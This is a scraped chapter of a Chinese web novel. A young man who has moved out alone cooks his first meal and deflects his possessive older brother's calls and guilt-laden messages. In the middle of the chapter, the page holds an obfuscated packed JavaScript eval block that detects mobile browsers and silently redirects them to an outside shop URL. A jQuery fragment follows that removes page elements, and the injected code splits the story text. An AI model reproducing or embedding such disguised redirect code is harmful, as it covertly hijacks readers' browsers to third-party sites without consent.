文趣网 > 都市小说 > 焚风效应 > 5. 叛逆期
    因为胃不舒服,兰时不敢喝咖啡,所以到下班以前他都是这种困懵了的状态。

    快下班的时候刘淼在群里发消息,让他们去楼上领一下员工卡,他这才勉强清醒了过来。

    药物副作用已经基本消退,他不困了,胃也好了,甚至还快下班了,他心情好,开始构思PPT该怎么做。

    PPT仍在构思阶段,还没来得及上手,就已经到了下班的时候。

    他收拾好后起身准备离开,在打卡机前刷了员工卡后,他跟着几个老员工一起往外走,放空大脑思考晚饭吃什么。

    现在天气冷,六点钟外面天已经黑了。

    和大家一起等电梯时,兰时从窗户里看了眼楼下,街边路灯都亮了。

    此刻正是下班晚高峰,数不清的大小车辆在道路上穿梭,他正盯着一辆公交想东想西时,有人从背后拍他肩膀。

    兰时回头,发现是秦景,他问:“看什么呢?”他边说着,也探头看向窗外。

    “没什么。”兰时收回了目光。

    他只是在想,这个时间,徐应年下班没有。

    徐应年总是加班,但不管多晚他都会回家,每次加班回家他都会给兰时带些小礼物,比如一块小蛋糕,或者一支鲜花,说是给他的补偿。

    兰时每次收下礼物时都想笑,说:“哥,你加班这么累,补偿我干什么呀。”

    徐应年捏他脸,说:“当然是怕你以为我不要你了,你小的时候我有一次回家晚了,你抱着我哭了大半宿,哭累了也要我抱着你才肯睡。”

    当时兰时听到这话的反应是:“……”

    有点丢人。

    现在他走了,哥哥加完班之后,还会习惯性地带礼物回家吗?

    兰时不得而知。刚好有个电梯上来了,就在他身边。

    他和秦景一起进了电梯,满员后电梯下行,兰时还是决定想点更实际的东西,比如晚饭的着落。

    他不想再去老白他们家的面馆了,他们太客气了,如果不是兰时坚持的话,昨天下午那碗面以及今早的小馄饨老白他们直接不收他钱了。

    他现在租的房子是带厨房的,只是他不太会做饭,到现在还没用过。

    既然都出来了,总不能顿顿都在外面吃。

    下楼后兰时和秦景告了别往公交站走,抱着学学做饭的想法,他到站下车后,去了离他住处最近的一家超市。

    他不太想把那个房子称为家,他刚住进去一周都没有,对那里还没产生什么‘家’的归属感。

    兰时推着购物车,刚走进果蔬区,才意识到如果要自己做饭的话,锅碗瓢盆是一个都没有。

    那套房子里倒是有燃灶和油烟机,但他不确定自己会不会用。

    短暂思考一秒,兰时先转身去了厨具区,在导购的推销下买了一个小电锅,两个碗,三个盘子,以及一勺一叉。

    看了半天没在货架上看到按双卖的筷子,导购又刚好在和别的顾客说话,兰时没好意思去找别人,最后他只好拿下一整包鸡翅木筷子,十双。

    随后又有一连串消费问题接踵而至,小电锅炒菜,主食怎么解决?买电饭煲。

    可他不确定自己是不是真的能经常自己做饭,而且如果买电饭煲,就意味着他还要买米。但是买米的话,他一个人一顿吃不了多少,米一直放着会坏吗?米有没有保质期?

    想到这里,兰时默默拿出手机,上网搜索大米会不会过期。

    会过期,还会生虫!

    他抬起头,左看右看片刻,最后看向不远处有散装粮食区,那里有散装大米卖。

    如果吃一顿买一顿的话……

    这样的话也还是要买电饭煲啊!

    兰时大脑过载,他像突然被切断运行程序的机器人一样,在原地站了一会儿后,终于推着购物车调转了个方向。

    还是去买几包方便面吧,先从简单的做起……

    从货架上拿下整包的方便面后,他顺便去买了点青菜和鸡蛋,路过零食区的时候犹豫了一下,最后还是拿了包火腿肠打算加餐。

    这样就好了吧!就算吃方便面也不凑合!

    他心情不错,脚步轻快地去结账。

    排队的时候发现手机电量见底,他祈祷着至少等他付完钱再关机。

    最后手机很给面子,支撑到了回家。

    回去之后兰时给手机充上电,先研究小电锅,照着说明书先熟悉了一下锅上的各种按钮,然后便打算按网上教的办法先清洁一下。

    再然后他发现刚刚没有买洗洁精,又拔掉手机充电线出门跑了一趟超市。

    随后更糟糕的来了,这个厨房没有热水器,兰时洗锅洗得感觉十指都要没知觉了。

    他僵硬地冲掉锅里的泡沫,接了一锅自来水,接电后盖上盖子烧水。

    刚买来的碗筷也要洗一下,直接趁热打铁……一点也不热,兰时的手快要冻僵了。

    他用同样的办法把碗筷洗了一遍,洗完后直接放进锅里煮,从厨房出去后赶快回到卧室,在空调风口伸出两只被冻得通红的手,五指张开,给自己吹暖风。

    他租的房子是个一室一厅,这里只有电暖,一台挂壁式空调,在卧室。

    兰时回来的时候屋子里特别冷,打开空调后他没关卧室门,想让暖气散一点到客厅,因为他并不习惯在卧室吃东西。

    所以直到他从厨房出来,屋子里也不怎么暖和。

    他轻轻呼出一口气,收回还冰凉的双手,拿出手机想看看现在的时间。

    拿出手机后他发现徐应年五分钟前又发来一条消息,一个问号。

    兰时看着这条消息定在了原地,他还没想好该怎么回复。

    如果现在直接实话告诉哥哥他找到工作了,最后却没有被留下来怎么办?他很清楚自己并不擅长在人前讲话。到时候哥哥更要让他回去了。

    他无意识地在空调风口来回走了几步,最后坐到床上,用僵硬的手指打字。

    依旧删删减减很多次,最后他只发过去一句‘哥哥’。

    消息刚发出去,备注那栏就变成了正在输入。

    来回闪烁几次,徐应年终于发来一句:[地址,我去接你。]

    兰时抿了抿唇,又不知道怎么回了。

    拒绝?理由呢?

    同意?那这几天算什么?

    他现在的生活质量相较从前的确是断崖式下跌,但也没那么差,至少他有个落脚的地方,没去睡桥洞。

    ……不过在徐应年眼里,他租的这套房子可能和桥洞没什么区别吧。

    或许是因为他迟迟没有回复,徐应年直接打电话过来了。

    兰时犹豫了一下,最后还是点了接听。

    电话接通后双方都沉默着,几秒后徐应年才主动开口:“你在哪儿?”

    “哥哥,我……”兰时停了一下,才说,“我不回去。”

    “……”

    徐应年有些疲倦,他呼出一口气,向后靠到办公椅上,闭上眼睛捏了捏眉心。

    鼻音很重,感冒了吧。

    他道,“你到底怎么了?一声不吭就走了还藏起来,都这么大了还玩什么躲猫猫?小时候没玩够?”

    他的语气并没有因为兰时生病就软化,他从小就怕他生气。

    对面没回应,徐应年继续说,“什么叫‘感谢我这些年来对你的照顾’?兰时,你翅膀硬了是吧?”

    “哥……对不起。”对面终于有了回应,兰时的声音隔着听筒传来,有些失真。

    听到这话徐应年就知道了,他还是不会回来。

    他忽然笑了,几秒后才说:“我是不是这些年太惯着你了?你都敢这样直接跟我对着干了,怎么?迟来的叛逆期?”

    看样子徐应年好像不知道他已经发现了卧室的摄像头,这是不是说明其实徐应年并没有天天在监控里偷偷看他呢?是不是他反应过度了?

    兰时还是没有说话,乖乖听训。

    他没有反驳的理由,也找不到可以反驳的点。

    什么翅膀硬了什么迟来的叛逆期,万一就是这样呢?万一他三分钟热度过几天就回去了呢?毕竟徐应年是比他自己还要了解他的人。

    但此刻的他除了心虚,还有一点委屈。

    徐应年肯定能听出来他感冒了,为什么没有关心他。

    “说话。”徐应年的语气听不出什么情绪,道,“你有话连我都不肯说,还想出去面对其他人?我少你什么了,兰时,连个理由都不给我,想彻底和我划清界限?”

    “不是……”兰时低着头,手指绞着衣摆,小声说,“我没那么想……”

    听到他的话,徐应年直接说:“你委屈什么?”

    “……”

    “嫌我不关心你感冒?嫌我凶你?”徐应年又笑了一下,终于把语气放软了些,“好了,既然生病了就早点回家,这几天我就当你出去旅游了,你的纸条我就当没看见过。地址发给我,我接你回来。”

    对面的兰时又沉默了一秒才开口:“哥,我……”

    声音在此处戛然而止。

    徐应年愣了一下,拿下耳边的手机,发现通话已经中断了。

    兰时拿起充电线给手机充电,开机后他点开通讯录,想着要不要拨回去的时候突然听到外面瓷碗和铁勺碰撞的声音。

    忘记锅里还煮着东西了!

    他急急忙忙出去,发现小电锅里的水都快烧干了。

    关掉小电锅后兰时站在台面前,看着还在冒水蒸气的锅,没了吃饭的心情。

    为什么徐应年铁了心认为他是在闹脾气,他真的是在闹脾气吗?

    兰时也想不通了。

    这几天里他也不是没有产生过回去的想法,一个人生活比他想象中困难多了,出行、饮食、取暖……每一项都要操心,每一项都需要钱。

    离开时他手头有三万多,是他的部分稿费和上学时靠代课和家教偷偷攒下来的,没有拿徐应年给他的钱。

    这套房子月租2000,押一付三还是他上网查过才明白是什么意思,他刚出来一周不到,算上中介费,光住房方面他就用掉三分之一的钱了。

    从下个月开始水电也要自理,每天都要吃饭,生病还要去医院看病去买药,以及如果他再想买件厚衣服什么的……

    算清楚这笔账后,兰时更绝望了。

    早知道多带点钱出来了……

    他转头看了眼自己刚买回来的方便面,是量贩装,里面一共有五袋,十五块钱。

    鸡蛋他只买了五六个,七块多。青菜买了五颗,因为时间有点晚,大的都卖出去了,只剩下比较小的,五颗连一斤都不到,只有三块钱。那包火腿肠是十二块钱。

    换做以前,他绝对不会知道买菜原来这么便宜,只花了三十多块钱,这些东西最起码已经够他吃两天了。

    兰时深吸一口气,最后还是拆开了方便面的包装,从里面拿出来了一袋。

    果然还是要学做饭啊,自己做饭真的能省好多钱!

    把锅里的碗筷都拿出来后,兰时又冲了一下小电锅,把面煮上了。

    他摘了两颗青菜,因为没有案板和菜刀,他是用手把菜拧成小段的。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762657|209633||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>用同样的办法手动将火腿肠掰成小段后,兰时又拿起一个鸡蛋,犹豫了一下是先打到碗里还是直接打到锅里。

    还是打到锅里吧,这样能少洗一个碗,水挺凉的……

    一切准备就绪后,锅里的面差不多煮软了。

    他把调料包以及青菜和火腿肠都放进去,打鸡蛋时也是很不负众望地把蛋壳打了进去,他用筷子夹了半天才终于夹出来。

    他不断用筷子搅和锅里的面,所以鸡蛋在他搅合的时候散开了,白的白黄的黄,零零碎碎地挂在面条和青菜上,有点不好看。

    兰时只能在心里给自己鼓气,第一次煮面能煮熟就可以了,至于鸡蛋,下次煮的时候他会注意的。

    最后成品……至少闻起来很香。

    兰时夹了一筷子面,试探着送进嘴里尝了一口。

    ……好吃!

    他端着碗走出厨房,客厅里已经稍微暖和起来了,他顺理成章地坐到沙发上,这才脱掉自己一直穿着的外套,专心吃面。

    一碗面吃完,暖意从胃里开始蔓延,一路蔓延到四肢百骸,连带着不久前有些糟糕的心情也变好了。

    兰时终于恢复了不久前逛超市时的轻松心情,他小声哼着歌,起身端着空碗回到厨房,看着锅里剩下的面又沉默了。

    他吃不下了,本来生病时消化就会变慢,现在时间又不早了,再过一会儿都要睡觉了,更不能多吃。

    放一晚上的话,会坏吗……

    遇事不决上网咨询,兰时放下碗,又回卧室找手机。

    他打开手机,发现有两通徐应年的未接,和两条未读消息。

    哥哥:[不接电话?]

    哥哥:[我现在管不了你了是吧?]

    “……”

    兰时的心情又急转直下,他坐到床上,向后仰倒,高举着手机看这两条消息。

    几秒后,他想到什么,拔掉充电器从床上起身去了厨房,对着锅里剩下的方便面拍了张照片发给了徐应年,打字回复:[哥哥,这是我自己煮的]

    徐应年没有立刻回复,怕打字慢他等不及,兰时直接点开语音键说:“我没有想和你划清界限,哥哥,我只是……你给我点时间好不好,一周可以吗?”

    几秒后徐应年回复:[给你一周干什么?]

    兰时看着这几个字也纠结了一下,最后说:“给我一周找到工作,一周之后我没有找到的话,我就和你回去,可以吗哥哥?”

    哥哥:[?]

    哥哥:[理由?]

    兰时刚要编些挑战自我之类的话,徐应年的新消息就发了过来:[别和我说你是长大了,我没见过谁长大后像你这样一声不吭就和家里告别的]

    哥哥:[在外面认识了什么人?怂恿你了?]

    哥哥:[我是不是和你说过不要随便相信别人?]

    哥哥:[你不听我的话,去听别人的话?]

    兰时沉默着,打出一个‘没有’发了过去。

    哥哥:[没人怂恿你,你自己离开,是对我积怨已久?]

    哥哥:[我对你很差?差到能让你毫无心理负担地就离开?]

    兰时又发去一句‘不是’。

    哥哥:[我把你当亲弟弟,把你当唯一的家人,到头来你就这样报答我,连家都不要了?]

    哥哥:[还让我给你一周时间找工作,在家里工作不能找?我们住在什么人口稀少网络不发达的深山老林吗,要特地跑到别的地方去找工作?]

    哥哥:[我说过你可以来我公司上班,你不想来可以直接和我说]

    哥哥:[离家出走?兰时,你还是小孩吗?]

    备注那栏显示了几秒正在输入,随后变回备注原样,再下一秒,徐应年直接打电话过来。

    兰时手忙脚乱地擦掉不知何时顺着眼角流下来的眼泪,抖着手直接把手机关了机。

    他把手机放到厨房台面上,从纸抽里抽了两张纸巾擦脸。

    他吸了吸鼻子,厨房里还弥漫着方便面的香气,但他莫名感觉有些反胃。

    徐应年其实很怕他哭,只要他一哭,不管什么事徐应年都会放到一边先把他哄好,这是他这十几年来总结出的经验。

    如果刚刚他接了电话,徐应年知道他哭了之后肯定也会先哄他。

    但他不想接。

    他的任何决定徐应年都有一票否决权,上学时交朋友、参加社团活动、和同学出去玩,到现在毕业后找工作,所有事,徐应年不允许的他就不做。

    兰时承认,他的确有在主动配合徐应年。但配合了这么久,他也是会累的。

    他努力压下情绪,打开水龙头,用冷水把刚刚吃面的碗筷洗了。

    把锅里的面盛出来放进冰箱,他又洗了洗锅,洗完后他终于忍不住了,撑着洗菜池弯下了腰。

    现在他胃里一阵一阵拧着疼,他抬起一只手按住上腹,最后慢慢蹲了下去。

    啊……好烦。

    等疼痛缓解了一些,兰时站起来,打算直接吃药睡觉,故意把手机留在了厨房。

    有什么事明天再说吧,今天他累了。

    之前他买了热水壶,水烧开后撕开一袋感冒冲剂,用冲剂送服胃药后他去洗漱,洗漱完后刚好感冒药犯困的副作用出现,他直接熄灯睡觉。

    他侧躺着缩在床上,周围安静得只有空调细微的嗡鸣声。

    在这一点微弱却无法忽视的噪音里,在胃时不时疼一下的不适里,在药物副作用导致的昏昏沉沉里,在半梦半醒间,兰时迷迷糊糊地想,以后他不要再回徐应年的消息了。